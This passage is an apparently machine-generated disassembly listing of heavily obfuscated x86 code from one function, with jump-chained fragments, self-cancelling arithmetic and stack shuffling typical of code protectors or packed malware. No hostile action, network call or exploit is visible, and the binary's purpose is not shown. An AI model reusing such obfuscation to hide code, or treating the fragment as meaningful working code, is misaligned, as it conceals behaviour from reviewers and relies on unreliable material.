loc_5A14E7: ; CODE XREF: sub_581EE9+22830j push edi jmp loc_5A0E8F ; --------------------------------------------------------------------------- loc_5A14ED: ; CODE XREF: sub_581EE9+216EDj add edi, ecx pop ecx jmp loc_5970BB ; --------------------------------------------------------------------------- loc_5A14F5: ; CODE XREF: sub_581EE9+1AAF1j mov eax, 492D23F1h add eax, 1 inc eax jmp loc_59B5A6 ; --------------------------------------------------------------------------- loc_5A1505: ; CODE XREF: sub_581EE9+207CEj mov eax, [esp-6E72h+arg_6E68+2] add esp, 4 loc_5A150E: ; CODE XREF: sub_581EE9+169F0j sub esp, 4 mov [esp-6E72h+arg_6E68+2], ebp push esp pop ebp push eax mov eax, 74CA4421h jmp loc_59EB96 ; --------------------------------------------------------------------------- loc_5A1521: ; CODE XREF: sub_581EE9+20CF7j sub esp, 4 jmp loc_5998A8 ; --------------------------------------------------------------------------- loc_5A152C: ; CODE XREF: sub_581EE9+21686j push 4C9h mov [esp-6E66h+arg_6E5C+2], esp add [esp-6E66h+arg_6E5C+2], 4 jmp loc_5A1814 ; --------------------------------------------------------------------------- loc_5A153D: ; CODE XREF: sub_581EE9+1CF97j xor edx, edi mov edi, [esp-6E6Ah+arg_6E60+2] add esp, 4 mov edi, edx pop edx jmp loc_5981FD ; --------------------------------------------------------------------------- loc_5A154D: ; CODE XREF: sub_581EE9+1482Cj add eax, 3CC14495h pop edx add eax, ecx add eax, 1E9C3188h mov ecx, [esp-6EC6h+arg_6EBE] add esp, 4 jmp loc_59ABD3 ; --------------------------------------------------------------------------- loc_5A1565: ; CODE XREF: sub_581EE9+18FD9j mov ecx, 4 sub ebx, ecx mov ecx, [esp-6E8Ah+arg_6E80+2] add esp, 4 push ebx push [esp-6E8Ah+arg_6E84+2] pop ebx pop [esp-6E8Ah+arg_6E80+2] mov esp, [esp-6E8Eh+arg_6E84+2] mov [esp-6E8Eh+arg_6E84+2], edx pop dword ptr [edi+20h] jmp loc_593E87 ; --------------------------------------------------------------------------- loc_5A158C: ; CODE XREF: sub_581EE9+23954j mov edx, [esp-6E92h+arg_6E8A] jmp loc_5A0B02 ; --------------------------------------------------------------------------- loc_5A1594: ; CODE XREF: sub_581EE9+20088j sub bl, al push small 6018h mov [esp+0], ax jmp loc_592C05 ; --------------------------------------------------------------------------- loc_5A15A3: ; CODE XREF: sub_581EE9+12A8Fj mov ecx, edx pop edx add ecx, edi jmp loc_5A505C ; --------------------------------------------------------------------------- loc_5A15AD: ; CODE XREF: sub_581EE9+1246Dj mov dh, 0BCh push eax mov al, 0F9h mov ch, al pop eax sub ch, dh pop edx or dh, ch mov ecx, [esp-6EA4h+arg_6E9A+2] add esp, 4 jmp loc_596FE0 ; --------------------------------------------------------------------------- loc_5A15C5: ; CODE XREF: sub_581EE9+156C0j pop ebx push edx pop ecx push [esp-6E8Ch+arg_6E84] jmp loc_595C25 ; --------------------------------------------------------------------------- loc_5A15D0: ; CODE XREF: sub_581EE9+20E57j push 0F6Eh jmp loc_59B280 ; --------------------------------------------------------------------------- loc_5A15DA: ; CODE XREF: sub_581EE9+14597j push edx jmp loc_59F9FA ; --------------------------------------------------------------------------- loc_5A15E0: ; CODE XREF: sub_581EE9+167DFj add edi, esi sub edi, 72A57CEBh jmp loc_595356 ; --------------------------------------------------------------------------- loc_5A15ED: ; CODE XREF: sub_581EE9+1EE3Aj sub esp, 4 mov [esp-6E46h+arg_6E3E], ebx mov ebx, esp jmp loc_5A0351 ; --------------------------------------------------------------------------- loc_5A15FA: ; CODE XREF: sub_581EE9+1D8C2j add esp, 4 push ebp mov ebp, 4 add esi, ebp pop ebp push 39E6h mov [esp+0], eax push edi jmp loc_59956B ; --------------------------------------------------------------------------- loc_5A1617: ; CODE XREF: sub_581EE9+21113j or al, dh pop edx dec al not al push small 0 sub byte ptr [esp-6E8Eh+arg_6E84+2], al mov al, byte ptr [esp-6E8Eh+arg_6E84+2] jmp loc_5A2379 ; --------------------------------------------------------------------------- loc_5A162D: ; CODE XREF: sub_581EE9+2175Aj push edx push eax mov eax, 7DA05CDEh mov edx, 2FE193C3h add edx, eax jmp loc_5A0187 ; --------------------------------------------------------------------------- loc_5A1640: ; CODE XREF: sub_581EE9+1E93Fj pop ecx jmp loc_594277 ; --------------------------------------------------------------------------- loc_5A1646: ; CODE XREF: sub_581EE9+1DFBBj xchg edx, [esp-6E94h+arg_6E8A+2] pop esp jmp loc_599488 ; --------------------------------------------------------------------------- loc_5A164F: ; CODE XREF: sub_581EE9+1487Ej pop esi sub ebx, esi mov esi, [esp-6EB6h+arg_6EAC+2] add esp, 4 push esi push 42A72A5h jmp loc_593D58 ; --------------------------------------------------------------------------- loc_5A1666: ; CODE XREF: sub_581EE9+13E46j mov ebx, 3D19BB1Ch xor edx, ebx pop ebx xor edx, ebp mov ebp, [esp-6E84h+arg_6E7C] add esp, 4 push eax mov eax, edx jmp loc_5A0FE3 ; --------------------------------------------------------------------------- loc_5A1681: ; CODE XREF: sub_581EE9+2048Bj add ecx, 4624386h add ecx, esi jmp loc_598DD1 ; --------------------------------------------------------------------------- loc_5A168E: ; CODE XREF: sub_581EE9+18621j push [esp-6E66h+arg_6E60+2] pop ecx pop [esp-6E66h+arg_6E5C+2] pop esp push ebx jmp loc_59E23C ; --------------------------------------------------------------------------- loc_5A169D: ; CODE XREF: sub_581EE9+18B05j mov eax, esi jmp loc_594F07 ; --------------------------------------------------------------------------- loc_5A16A4: ; CODE XREF: sub_581EE9+1C544j push edi mov edi, ebp jmp loc_5994F4 ; --------------------------------------------------------------------------- loc_5A16AC: ; CODE XREF: sub_581EE9+1619Aj pop ebp jmp loc_59BA22 ; --------------------------------------------------------------------------- loc_5A16B2: ; CODE XREF: sub_581EE9+1298Cj pop edx add ebp, ecx jmp loc_5991CA ; --------------------------------------------------------------------------- loc_5A16BA: ; CODE XREF: sub_581EE9+1CBE1j push 344E0319h pop edx push edx not [esp-6E96h+arg_6E8E] pop edx sub edx, 5E07FC9h inc edx xor edx, 0D8E54123h jmp loc_5A57C0 ; --------------------------------------------------------------------------- loc_5A16D7: ; CODE XREF: sub_581EE9+13917j mov ebp, 0F8B6ACCh add edi, ebp jmp loc_5A13F8 ; --------------------------------------------------------------------------- loc_5A16E3: ; CODE XREF: sub_581EE9+19183j add ecx, edi pop edi add ecx, ebx sub ecx, 733908AFh pop ebx sub ecx, edx sub ecx, 39D51860h mov edx, [esp-6EB2h+arg_6EA8+2] add esp, 4 push ecx push [esp-6EB2h+arg_6EAC+2] mov ecx, [esp-6EAEh+arg_6EA4+2] sub esp, 4 mov dword ptr [esp-6EAAh+arg_6EA2], ebp mov ebp, esp jmp loc_59280A ; --------------------------------------------------------------------------- loc_5A1715: ; CODE XREF: sub_581EE9+20912j push edx jmp loc_59EE0F ; --------------------------------------------------------------------------- loc_5A171B: ; CODE XREF: sub_581EE9+208A0j sub ebx, ebp jmp loc_5922D1 ; --------------------------------------------------------------------------- loc_5A1722: ; CODE XREF: sub_581EE9+1E54Cj xchg edx, [esp-6E92h+arg_6E8A] pop esp mov [esp-6E96h+arg_6E8E], edx mov edx, ecx push 7904h mov [esp-6E92h+arg_6E8A], edx sub [esp-6E92h+arg_6E8A], 70F411FAh jmp loc_595820 ; --------------------------------------------------------------------------- loc_5A173F: ; CODE XREF: sub_581EE9+18E3Dj mov dh, 91h jmp loc_59BA05 ; --------------------------------------------------------------------------- loc_5A1746: ; CODE XREF: sub_581EE9+17EECj sub word ptr [esp-6EA4h+arg_6E9A+2], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A1750: ; CODE XREF: sub_581EE9+1FBBBj mov edi, [esp-6EA0h+arg_6E96+2] jmp loc_597281 ; --------------------------------------------------------------------------- loc_5A1758: ; CODE XREF: sub_581EE9+192B6j sub [esp-6E66h+arg_6E64+2], esi add [esp-6E66h+arg_6E64+2], 78B13F6Ch jmp loc_59FB6A ; --------------------------------------------------------------------------- loc_5A1769: ; CODE XREF: sub_581EE9+1FB64j push eax mov eax, 5C7876E4h sub edi, eax pop eax add edx, edi pop edi push ebx mov ebx, esp jmp loc_5943EC ; --------------------------------------------------------------------------- loc_5A177D: ; CODE XREF: sub_581EE9+1E88Aj pop ebp pop edx add eax, ebx jmp loc_5A69BD ; --------------------------------------------------------------------------- loc_5A1786: ; CODE XREF: sub_581EE9+10D1Fj mov al, ch pop ecx jmp loc_59D0B1 ; --------------------------------------------------------------------------- loc_5A178E: ; CODE XREF: sub_581EE9+1122Cj add ecx, edi jmp loc_59C3DC ; --------------------------------------------------------------------------- loc_5A1795: ; CODE XREF: sub_581EE9+1E833j not ebp xchg ebp, [esp-6E92h+arg_6E8A] pop ebx xchg ebx, [esp-6E96h+arg_6E8E] mov eax, [esp-6E96h+arg_6E8E] push edi sub esp, 4 mov [esp-6E8Eh+arg_6E84+2], esp add [esp-6E8Eh+arg_6E84+2], 4 jmp loc_596313 ; --------------------------------------------------------------------------- loc_5A17B1: ; CODE XREF: sub_581EE9+1CD57j mov ebx, esp push ebp jmp loc_5A1B71 ; --------------------------------------------------------------------------- loc_5A17B9: ; CODE XREF: sub_581EE9+14563j mov ebx, [esp-6E9Ah+arg_6E92] jmp loc_594271 ; --------------------------------------------------------------------------- neg byte ptr [esp-6E9Ah+arg_6E92] pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A17CA: ; CODE XREF: sub_581EE9+22885j pop esp sub eax, 2BDE44D7h sub eax, 19D4602Dh add eax, edx add eax, 19D4602Dh jmp loc_597C12 ; --------------------------------------------------------------------------- loc_5A17E1: ; CODE XREF: sub_581EE9+1670Aj add ecx, ebp pop ebp push 2945h mov dword ptr [esp-6EAAh+arg_6EA2], ebp mov ebp, 6C697CE6h jmp loc_59416E ; --------------------------------------------------------------------------- loc_5A17F6: ; CODE XREF: sub_581EE9+1211Cj sub eax, 4 jmp loc_59454D ; --------------------------------------------------------------------------- loc_5A17FE: ; CODE XREF: sub_581EE9+226F1j pop ebx jmp loc_597CF7 ; --------------------------------------------------------------------------- loc_5A1804: ; CODE XREF: sub_581EE9+237FCj push 4550193Eh mov ecx, [esp-6EBCh+arg_6EB2+2] add esp, 4 jmp loc_59E5CC ; --------------------------------------------------------------------------- loc_5A1814: ; CODE XREF: sub_581EE9+1F64Fj pop ebx add ebx, 4 sub ebx, 4 push ebx jmp loc_59745B ; --------------------------------------------------------------------------- loc_5A1824: ; CODE XREF: sub_581EE9+12721j pop ecx jmp loc_592B0E ; --------------------------------------------------------------------------- loc_5A182A: ; CODE XREF: sub_581EE9+22AC1j add eax, edx add eax, 22070804h push 28BFh mov [esp-6E88h+arg_6E80], edx mov edx, 34E6737Bh sub eax, 193E4DD3h add eax, edx add eax, 193E4DD3h jmp loc_5934FB ; --------------------------------------------------------------------------- loc_5A184F: ; CODE XREF: sub_581EE9+1DF79j add esi, 0F57B7FE4h add eax, esi mov esi, [esp-6E8Eh+arg_6E84+2] push 22D8h mov [esp-6E8Ah+arg_6E80+2], esi mov esi, esp sub esp, 4 jmp loc_596610 ; --------------------------------------------------------------------------- loc_5A186C: ; CODE XREF: sub_581EE9+13FDFj pop [esp-6E58h+arg_6E50] mov esp, [esp-6E5Ch+arg_6E54] jmp loc_594672 ; --------------------------------------------------------------------------- loc_5A1877: ; CODE XREF: sub_581EE9+18DA6j add al, ch mov ecx, [esp-6E96h+arg_6E8E] add esp, 4 pop ecx sub esp, 4 jmp loc_592002 ; --------------------------------------------------------------------------- loc_5A1888: ; CODE XREF: sub_581EE9+12DB1j pop esp mov ebx, 2F706EC0h xor ebx, esi pop esi jmp loc_598BFF ; --------------------------------------------------------------------------- loc_5A1896: ; CODE XREF: sub_581EE9+2390Aj push ecx mov ecx, 6AC13094h mov eax, ecx jmp loc_592971 ; --------------------------------------------------------------------------- loc_5A18A3: ; CODE XREF: sub_581EE9+1CBCDj sub ecx, 4 xchg ecx, [esp-6EA0h+arg_6E96+2] pop esp mov [esp-6EA4h+arg_6E9A+2], eax push [esp-6EA4h+arg_6E9E+2] mov eax, [esp-6EA0h+arg_6E96+2] jmp loc_594113 ; --------------------------------------------------------------------------- loc_5A18BC: ; CODE XREF: sub_581EE9+150A5j inc ebx xor ebx, 24135EFh add ebx, 0CD88BE1Bh jmp loc_59CB21 ; --------------------------------------------------------------------------- loc_5A18CE: ; CODE XREF: sub_581EE9+1819Fj and ecx, 2C21099Fh sub ecx, 7D860A65h xor edx, ecx pop ecx add edx, ebx pop ebx add eax, 58C052E8h sub eax, 220D1BF3h add eax, edx add eax, 220D1BF3h sub eax, 58C052E8h mov edx, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 jmp loc_59ACE4 ; --------------------------------------------------------------------------- loc_5A1904: ; CODE XREF: sub_581EE9+17A1Bj sub [esp-6E76h+arg_6E76], ecx jmp loc_59B1BC ; --------------------------------------------------------------------------- loc_5A190D: ; CODE XREF: sub_581EE9+1AAE3j push ebx mov bh, 0B0h add al, bh pop ebx add al, 3Dh push edx mov dl, 11h push eax push ecx mov cl, 0D8h and cl, 0ECh xor cl, 70h jmp loc_5A2763 ; --------------------------------------------------------------------------- loc_5A1927: ; CODE XREF: sub_581EE9+16896j mov al, bl pop ebx jmp loc_5976A9 ; --------------------------------------------------------------------------- loc_5A192F: ; CODE XREF: sub_581EE9+156FEj pop eax sub esp, 4 mov [esp-6E56h+arg_6E4C+2], ebx push esp jmp loc_59697E ; --------------------------------------------------------------------------- loc_5A193C: ; CODE XREF: sub_581EE9+178EAj mov [esp-6E72h+arg_6E68+2], ecx jmp loc_5A232D ; --------------------------------------------------------------------------- loc_5A1944: ; CODE XREF: sub_581EE9+11ADBj xor ebp, 4B3F18F5h neg ebp shl ebp, 1 dec ebp not ebp jmp loc_597666 ; --------------------------------------------------------------------------- loc_5A1956: ; CODE XREF: sub_581EE9+2470Cj push esp jmp loc_5A5BAA ; --------------------------------------------------------------------------- loc_5A195C: ; CODE XREF: sub_581EE9+1EB54j push 305Fh mov [esp-6EA6h+arg_6E9E], esp jmp loc_59276C ; --------------------------------------------------------------------------- loc_5A1969: ; CODE XREF: sub_581EE9+223A6j push si sub word ptr [esp-6EA4h+arg_6E9A+2], 7384h mov bx, word ptr [esp-6EA4h+arg_6E9A+2] add esp, 2 add bx, 7384h jmp loc_592E18 ; --------------------------------------------------------------------------- loc_5A1985: ; CODE XREF: sub_581EE9+17E3Dj push 74DFh jmp loc_59EC1D ; --------------------------------------------------------------------------- loc_5A198F: ; CODE XREF: sub_581EE9+23F88j pop edx push [esp-6E7Ah+arg_6E72] pop ebp push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E76h+arg_6E6E] pop esp jmp loc_59B220 ; --------------------------------------------------------------------------- loc_5A19AC: ; CODE XREF: sub_581EE9+1A184j sub edx, 32A7213Bh jmp loc_5979AF ; --------------------------------------------------------------------------- loc_5A19B7: ; CODE XREF: sub_581EE9+1CEA4j push eax jmp loc_5A41E1 ; --------------------------------------------------------------------------- loc_5A19BD: ; CODE XREF: sub_581EE9+22312j sub [esp-6EA4h+arg_6E9E+2], 2123FA0h add [esp-6EA4h+arg_6E9E+2], edx add [esp-6EA4h+arg_6E9E+2], 2123FA0h pop edx mov eax, [esp-6EA8h+arg_6E9E+2] add esp, 4 push esi jmp loc_59F908 ; --------------------------------------------------------------------------- loc_5A19E1: ; CODE XREF: sub_581EE9+1EF40j inc edx neg edx add edx, 0FFFFFFFFh jmp loc_5A51A7 ; --------------------------------------------------------------------------- loc_5A19EC: ; CODE XREF: sub_581EE9+24C0Aj pop edx mov bh, ah mov ax, word ptr [esp-6E68h+arg_6E60] sub esp, 4 jmp loc_5A329B ; --------------------------------------------------------------------------- loc_5A19FB: ; CODE XREF: sub_581EE9+1E905j mov ebp, 4 sub edi, 55E3668Ah add edi, ebp add edi, 55E3668Ah push [esp-6E58h+arg_6E50] pop ebp add esp, 4 push 1105h mov [esp-6E58h+arg_6E50], edi push [esp-6E58h+arg_6E54] jmp loc_59F900 ; --------------------------------------------------------------------------- loc_5A1A26: ; CODE XREF: sub_581EE9+21F6Cj pop edi xor eax, esi mov esi, [esp-6E58h+arg_6E50] jmp loc_59262F ; --------------------------------------------------------------------------- loc_5A1A31: ; CODE XREF: sub_581EE9+14283j mov [esp-6E92h+arg_6E8A], esi push 186Fh jmp loc_59A4F4 ; --------------------------------------------------------------------------- loc_5A1A3E: ; CODE XREF: sub_581EE9+15915j mov ecx, eax mov eax, [esp-6E94h+arg_6E8A+2] jmp loc_5A2039 ; --------------------------------------------------------------------------- loc_5A1A48: ; CODE XREF: sub_581EE9+22AE9j mov edi, 5C7876E8h jmp loc_5A1769 ; --------------------------------------------------------------------------- loc_5A1A52: ; CODE XREF: sub_581EE9+1396Aj sub ebp, 14814104h add esi, ebp jmp loc_5A585D ; --------------------------------------------------------------------------- loc_5A1A5F: ; CODE XREF: sub_581EE9+1B06Bj shr eax, 7 jmp loc_59ED5C ; --------------------------------------------------------------------------- loc_5A1A67: ; CODE XREF: sub_581EE9+1FE58j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-6E5Eh+arg_6E54+2] pop esp mov [esp-6E62h+arg_6E58+2], eax push esp pop eax push ebp push 5C515345h pop ebp xor ebp, 5C515341h sub eax, 6D1A64AFh jmp loc_598E69 ; --------------------------------------------------------------------------- loc_5A1A95: ; CODE XREF: sub_581EE9+17E2Cj or ebx, edx jmp loc_5A2F53 ; --------------------------------------------------------------------------- loc_5A1A9C: ; CODE XREF: sub_581EE9+1DC7Cj sub edi, 3D3FFFE2h add ebx, edi jmp loc_5A1750 ; --------------------------------------------------------------------------- loc_5A1AA9: ; CODE XREF: sub_581EE9+143CFj sub edi, 63FF3BF7h mov ecx, edi mov edi, [esp-6EA4h+arg_6E9A+2] jmp loc_59443E ; --------------------------------------------------------------------------- loc_5A1AB9: ; CODE XREF: sub_581EE9+18BBCj add esp, 4 add edx, eax sub edx, 54F63238h jmp loc_59A997 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A1AD1: ; CODE XREF: sub_581EE9+1B709j push esp push [esp-6E62h+arg_6E58+2] mov ebx, [esp-6E5Eh+arg_6E54+2] add esp, 4 add esp, 4 add ebx, 4 push 3D90h jmp loc_596B31 ; --------------------------------------------------------------------------- loc_5A1AEE: ; CODE XREF: sub_581EE9+17027j push ecx mov ecx, 72FE27ADh push 147Ch mov [esp-6EA0h+arg_6E96+2], ebx push edi mov edi, 6FA01680h mov ebx, edi pop edi sub ecx, 5CB83432h jmp loc_5A137B ; --------------------------------------------------------------------------- loc_5A1B10: ; CODE XREF: sub_581EE9+1CEAFj sub edx, 4 xchg edx, [esp-6E66h+arg_6E5C+2] pop esp mov [esp-6E6Ah+arg_6E60+2], edi mov edi, 0F7106DDh sub edi, 75170A2Bh neg edi jmp loc_593409 ; --------------------------------------------------------------------------- loc_5A1B2F: ; CODE XREF: sub_581EE9+1BA71j shl ebp, 7 dec ebp add ebp, 2574025Fh add esi, ebp mov ebp, [esp-6E76h+arg_6E6E] push ecx jmp loc_5A65C9 ; --------------------------------------------------------------------------- loc_5A1B44: ; CODE XREF: sub_581EE9+1FFCAj pop ebx push ebp sub esp, 4 mov [esp-6E6Eh+arg_6E64+2], edi push 6FCB6F3Bh pop edi shl edi, 3 dec edi add edi, 0A49AE6F7h push ebx mov ebx, edi mov ebp, ebx pop ebx pop edi add ebp, 53AB7898h jmp loc_59584D ; --------------------------------------------------------------------------- loc_5A1B71: ; CODE XREF: sub_581EE9+1F8CBj mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp-6E88h+arg_6E80] pop esp add ebx, 4 sub esp, 4 mov [esp-6E88h+arg_6E80], ebp mov ebp, 4 sub ebx, 64DB0260h push ecx mov ecx, 6827EABh add ebx, ecx pop ecx add ebx, ebp sub ebx, 6827EABh push edx mov edx, 140155ACh neg edx neg edx inc edx sub esp, 4 mov [esp-6E80h+arg_6E76+2], ebx mov ebx, 33C9284Bh sub edx, ebx jmp loc_5925F7 ; --------------------------------------------------------------------------- loc_5A1BCB: ; CODE XREF: sub_581EE9+242B8j mov edi, 4F7233EFh and edi, 5508F4h sub esp, 4 mov [esp-6E7Ch+arg_6E72+2], ebp mov ebp, 59CF56C2h or edi, ebp pop ebp jmp loc_59B320 ; --------------------------------------------------------------------------- loc_5A1BEC: ; CODE XREF: sub_581EE9+24297j pop ecx sub esp, 2 mov word ptr [esp-6E80h+arg_6E76+2], cx not byte ptr [esp-6E80h+arg_6E76+3] pop cx push small 0 sub byte ptr [esp-6E80h+arg_6E76+2], ch mov ch, byte ptr [esp-6E80h+arg_6E76+2] add esp, 2 xor ch, 38h sub dh, ch pop ecx push ecx mov cl, 6Ah add dh, 0C6h add dh, cl sub dh, 0C6h jmp loc_5A53CC ; --------------------------------------------------------------------------- loc_5A1C1D: ; CODE XREF: sub_581EE9+101EEj push ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A1C25: ; CODE XREF: sub_581EE9+1BA22j mov ax, dx jmp loc_59EA73 ; --------------------------------------------------------------------------- loc_5A1C2D: ; CODE XREF: sub_581EE9+1BC14j mov [esp-6EA0h+arg_6E96+2], eax push [esp-6EA0h+arg_6E9A+2] jmp loc_59D3B1 ; --------------------------------------------------------------------------- loc_5A1C39: ; CODE XREF: sub_581EE9+1043Cj sub esi, 66B6555h xor esi, ecx push [esp-6EA8h+arg_6E9E+2] pop ecx push ebx jmp loc_59E0A0 ; --------------------------------------------------------------------------- loc_5A1C4B: ; CODE XREF: sub_581EE9+1CECDj pop edi jmp loc_5A55B6 ; --------------------------------------------------------------------------- loc_5A1C51: ; CODE XREF: sub_581EE9+10305j mov [esp-6EA8h+arg_6E9E+2], ebx jmp loc_593FB8 ; --------------------------------------------------------------------------- loc_5A1C59: ; CODE XREF: sub_581EE9+2159Dj movzx cx, al push cx pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A1C65: ; CODE XREF: sub_581EE9+10821j sub esp, 4 mov [esp-6EA0h+arg_6E96+2], eax mov eax, 1CB04BE4h sub [esp-6EA0h+arg_6E9E+2], eax pop eax pop ebp add [esp-6EA8h+arg_6E9E+2], 3A6E37C7h push 1527h jmp loc_59B441 ; --------------------------------------------------------------------------- loc_5A1C8A: ; CODE XREF: sub_581EE9+1860Ej push ecx jmp loc_599B77 ; --------------------------------------------------------------------------- loc_5A1C90: ; CODE XREF: sub_581EE9+1198Bj sub edx, 4 xchg edx, [esp-6EA0h+arg_6E96+2] mov esp, [esp-6EA0h+arg_6E96+2] mov [esp-6EA0h+arg_6E96+2], ebp mov ebp, 67EB0E4Eh jmp loc_59F6DA ; --------------------------------------------------------------------------- loc_5A1CA9: ; CODE XREF: sub_581EE9+1D07Ej mov [esp-6E8Ah+arg_6E80+2], ebp push ecx mov ecx, 3C0C05AAh jmp loc_5923C7 ; --------------------------------------------------------------------------- loc_5A1CB7: ; CODE XREF: sub_581EE9+21DC0j pop [esp-6E86h+arg_6E7C+2] add [esp-6E8Ah+arg_6E80+2], 4 mov ecx, [esp-6E8Ah+arg_6E80+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6E86h+arg_6E7C+2] pop esp add ecx, 4 sub esp, 4 jmp loc_595077 ; --------------------------------------------------------------------------- loc_5A1CE5: ; CODE XREF: sub_581EE9+20CAFj neg ecx add ecx, 2B785091h add ecx, 0E387F1Dh sub edx, ecx pop ecx jmp loc_5A0AF0 ; --------------------------------------------------------------------------- loc_5A1CFB: ; CODE XREF: sub_581EE9+21F8Cj push ebp jmp loc_5931A4 ; --------------------------------------------------------------------------- loc_5A1D01: ; CODE XREF: sub_581EE9+13293j add esp, 4 not edi sub edi, 8AA5856Ah and eax, edi jmp loc_5A2C89 ; --------------------------------------------------------------------------- loc_5A1D13: ; CODE XREF: sub_581EE9+1DF5Aj mov edx, ecx jmp loc_5A0D5A ; --------------------------------------------------------------------------- loc_5A1D1A: ; CODE XREF: sub_581EE9+1D03Dj or ebx, eax jmp loc_5A676A ; --------------------------------------------------------------------------- loc_5A1D21: ; CODE XREF: sub_581EE9+1D5E1j sub eax, 6BED6A5Ah xor edx, eax pop eax mov esi, [esp-6E80h+arg_6E76+2] add esp, 4 loc_5A1D2F: ; CODE XREF: sub_581EE9+1598Fj ; sub_581EE9+181D0j push ebx jmp loc_59CA75 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E80h+arg_6E76+2] push 1BDDh mov [esp-6E7Ch+arg_6E72+2], ebx jmp loc_5A1A67 ; --------------------------------------------------------------------------- loc_5A1D46: ; CODE XREF: sub_581EE9+17C45j add eax, ebx push esi jmp loc_59D927 ; --------------------------------------------------------------------------- loc_5A1D4E: ; CODE XREF: sub_581EE9+1E8F7j add edi, edx pop edx sub esp, 4 jmp loc_5A118D ; --------------------------------------------------------------------------- loc_5A1D59: ; CODE XREF: sub_581EE9+103B3j mov [esp-6EB0h+arg_6EA8], eax mov eax, esp jmp loc_594E78 ; --------------------------------------------------------------------------- loc_5A1D63: ; CODE XREF: sub_581EE9+20D7Bj mov ebp, [esp-6EB0h+arg_6EA8] add esp, 4 push ebx jmp loc_593901 ; --------------------------------------------------------------------------- loc_5A1D72: ; CODE XREF: sub_581EE9+1062Ej pop ebx push 7A14h mov [esp-6EA4h+arg_6E9A+2], ebp push 4 jmp loc_59EE04 ; --------------------------------------------------------------------------- loc_5A1D85: ; CODE XREF: sub_581EE9+1087Ej add al, 2Fh jmp loc_593166 ; --------------------------------------------------------------------------- loc_5A1D8C: ; CODE XREF: sub_581EE9+1530Fj add cl, 79h jmp loc_5A42EB ; --------------------------------------------------------------------------- loc_5A1D94: ; CODE XREF: sub_581EE9+1C927j add edx, 3A1F1B32h push ebx mov ebx, 522106F2h jmp loc_5A5C16 ; --------------------------------------------------------------------------- loc_5A1DA5: ; CODE XREF: sub_581EE9+2135Dj and ch, 0Bh push ax mov al, 96h add ch, al mov ax, word ptr [esp-6EA0h+arg_6E96+2] sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], ebx jmp loc_5A1128 ; --------------------------------------------------------------------------- loc_5A1DBD: ; CODE XREF: sub_581EE9+14978j mov ecx, [esp-6E66h+arg_6E5C+2] add esp, 4 push edx mov edx, 5B4D186Dh sub ebx, 40683A68h sub ebx, 7AD77872h jmp loc_594CFE ; --------------------------------------------------------------------------- loc_5A1DDA: ; CODE XREF: sub_581EE9+244F6j mov ebx, ecx push esi mov esi, ebx mov ebp, esi pop esi mov ebx, [esp-6E66h+arg_6E5C+2] add esp, 4 pop ecx sub esp, 4 jmp loc_596420 ; --------------------------------------------------------------------------- loc_5A1DF7: ; CODE XREF: sub_581EE9+20037j push ecx mov cl, dh push ebx mov bl, cl mov al, bl pop ebx pop ecx not al push ebx mov bh, al mov dh, bh pop ebx pop ax jmp loc_598DFE ; --------------------------------------------------------------------------- loc_5A1E10: ; CODE XREF: sub_581EE9+1DD03j push 39A349DBh pop esi shl esi, 6 add esi, 19CBF02h jmp loc_593320 ; --------------------------------------------------------------------------- loc_5A1E24: ; CODE XREF: sub_581EE9+13DCBj add esp, 4 jmp loc_5997D8 ; --------------------------------------------------------------------------- loc_5A1E2F: ; CODE XREF: sub_581EE9+22C38j push dword ptr [edi+24h] push edx pop dword ptr [edi+24h] pop edx sub esp, 4 jmp loc_59684F ; --------------------------------------------------------------------------- loc_5A1E3F: ; CODE XREF: sub_581EE9+246B5j push 6BB5h mov [esp+0], ecx push [esp-6E74h+arg_6E6E+2] pop ecx jmp loc_59AC1C ; --------------------------------------------------------------------------- loc_5A1E51: ; CODE XREF: sub_581EE9+18140j mov ebx, 284144F6h or ebx, 635E67A3h jmp loc_597693 ; --------------------------------------------------------------------------- loc_5A1E61: ; CODE XREF: sub_581EE9+123D3j mov [esp-6E7Eh+arg_6E76], edx mov edx, esp jmp loc_5A444C ; --------------------------------------------------------------------------- loc_5A1E6B: ; CODE XREF: sub_581EE9+22F3Dj push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-6E7Ah+arg_6E72] pop esp jmp loc_59DF1D ; --------------------------------------------------------------------------- loc_5A1E80: ; CODE XREF: sub_581EE9+1213Cj sub edi, edx jmp loc_59C342 ; --------------------------------------------------------------------------- loc_5A1E87: ; CODE XREF: sub_581EE9+191CAj mov [esp-6E80h+arg_6E76+2], eax jmp loc_599FDF ; --------------------------------------------------------------------------- loc_5A1E8F: ; CODE XREF: sub_581EE9+21BB8j pop eax sub [esp-6E84h+arg_6E80], 6024606Ch sub [esp-6E84h+arg_6E80], 3D4667B5h jmp loc_5A306F ; --------------------------------------------------------------------------- loc_5A1EA5: ; CODE XREF: sub_581EE9+131B5j push edx jmp loc_5A227B ; --------------------------------------------------------------------------- loc_5A1EAB: ; CODE XREF: sub_581EE9+1BE44j add ebx, 70FD3F84h add esi, ebx jmp loc_5A1B44 ; --------------------------------------------------------------------------- loc_5A1EB8: ; CODE XREF: sub_581EE9+15F1Bj pop ebp push ebx mov ebx, 90E1488h add ebx, 69BA0F8Ch xor edi, ebx jmp loc_5A3F37 ; --------------------------------------------------------------------------- loc_5A1ECC: ; CODE XREF: sub_581EE9+1360Dj or eax, 63AC5AFFh shr eax, 8 sub eax, 7FAE5Bh jmp loc_59B0A7 ; --------------------------------------------------------------------------- loc_5A1EDE: ; CODE XREF: sub_581EE9+10A04j mov ecx, [esp-6EC4h+arg_6EBA+2] add esp, 4 sub esp, 4 mov [esp-6EC4h+arg_6EBA+2], esi mov esi, 5D0E5B67h sub [esp-6EC4h+arg_6EBE+2], 6543142Eh sub [esp-6EC4h+arg_6EBE+2], esi add [esp-6EC4h+arg_6EBE+2], 6543142Eh jmp loc_5934C8 ; 